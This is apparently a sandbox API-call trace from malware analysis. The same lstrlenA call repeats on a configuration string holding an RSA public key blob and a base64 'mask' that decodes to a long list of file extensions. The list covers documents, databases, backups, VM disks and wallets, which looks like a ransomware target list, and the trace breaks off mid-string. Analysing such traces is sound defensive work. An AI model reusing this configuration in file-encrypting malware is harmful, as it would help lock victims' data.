(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi